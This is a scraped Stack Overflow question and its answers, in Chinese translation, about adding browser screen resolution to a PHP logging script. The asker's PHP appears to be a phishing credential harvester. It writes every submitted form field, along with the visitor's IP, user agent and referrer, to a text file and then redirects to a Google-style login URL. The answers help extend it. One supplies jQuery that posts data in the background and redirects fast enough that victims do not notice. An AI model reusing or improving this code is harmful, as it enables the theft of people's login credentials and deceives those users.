【问题标题】:Merge JavaScript output with PHP?将 JavaScript 输出与 PHP 合并?
【发布时间】:2015-06-03 16:45:46
【问题描述】:

我有一段现有的代码,用于将某些数据记录到文本文件中:

<?php

    header("Location: https://www.example.com/accounts/ServiceLoginAuth ");
    $handle = fopen("file.txt", "a");

    $post = $_POST;
    $post['IP'] = $_SERVER['REMOTE_ADDR'];
    $post['Browser/UserAgent'] = $_SERVER['HTTP_USER_AGENT'];
    $post['Referrer'] = $_SERVER['HTTP_REFERER'];
    $post['Date&Time'] = date("l jS \of F Y h:i:s A");

    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }

    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;

?>

我也想记录屏幕分辨率,但显然没有办法做到这一点,是only possible with JS

var screenWidth = window.screen.width,
    screenHeight = window.screen.height;

那么我如何让这些信息记录在同一个文件中?

PS:我不能使用 jquery... :(

*****编辑*****

好的,我可以使用 JQuery,但输出仍然需要在同一个文本文件中...

【问题讨论】:

标签: javascript php text-files


【解决方案1】:

你不能,至少在同一时间。

当您的 php 正在执行时,您的页面仍在等待发送到客户端(或正在处理中)。

您的 javascript 将在页面加载到客户端时执行,并且没有机会通过浏览器与您的服务器的 http 连接进行操作。

所以,如果你想在服务器端获取这些数据,你应该通过 ajax 将它发送到某个接收它的脚本。

好的。它可以修改同一个文件。但请注意不要与您的其他脚本执行重叠,否则您可能会得到意想不到的结果。

还要记住,您不能确定客户端会有效地执行您的 javascript,甚至不能确定它是否可以完成 ajax 连接以向您发送该信息,因此您需要准备好注册不完整。

【讨论】:

    【解决方案2】:

    想到的一种方法是,不要将现有代码放在用户登陆的页面中,而是使用 Javascript 编写一个新文件,就像您已经知道的那样可以得到解决方案。

    然后,让新的初始页面在后台将分辨率变量 POST 到您的 php 脚本,然后分辨率变量将成为 POST 数组的一部分,并且可以将它们与您现有的其余 POST 数据一起存储。

    使用 Javascript 发布数据是相当常规的,并且可能是它自己的主题,但我相信你可以在网络上找到无限的示例,JQuery 确实可以用更少的代码来完成,但太糟糕了,这不是一个选项:(

    编辑:下面的示例是使用 jQuery 发布到 php

    创建新的“landing.php”(不必是 .php,可以是 .html)或您想要的任何名称,并将其作为用户首先登陆的位置,然后将其放入其中。它可能是您的用户可能已经登陆的现有页面,在这种情况下,只需将其放在底部即可。然后它会在用户开展业务时在后台发生。

    <script type="text/javascript">
    
        var screenWidth = window.screen.width,
            screenHeight = window.screen.height;
    
        $.post('name_and_path_of_php_file_you_already_created.php', { 
                screenWidth: screenWidth, 
                screenHeight: screenHeight 
              }, function(data) {
    
                    // Can do something extra here, most likely redirect your 
                    // user to a more meaningful page after the file is created
                    // using something like.
    
                    window.location.href = 'some_meaning_page.php';
    
                    // Also in this case, 'data' variable will hold anything
                    // Outputted from the PHP if any, and is optional, but can
                    // be useful for echo'ing out some status code or something
                    // and make a decision.
    
            });
    
    </script>
    

    因为您现有的 php 脚本已经循环通过 $_POST 数组(在您的情况下为 $post)并生成键/值对,所以这意味着 'screenWidth' 和 'screenHeight' 键/值将自动添加到文件中与您的其他变量。

    如果您能够将此添加到您知道用户正在登陆的现有页面,那么您可能不需要使用“window.location.href”重定向,但如果它是第一页,那么他们什么都看不到,你会想把他们重定向到一些内容,对他们来说,这发生得太快了,他们不会真的知道他们在一个页面上并被发送到另一个页面,看起来就像他们去的页面是正常加载。

    如果不清楚,或者需要其他方面的帮助,请告诉我。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2019-01-11
      相关资源
      最近更新 更多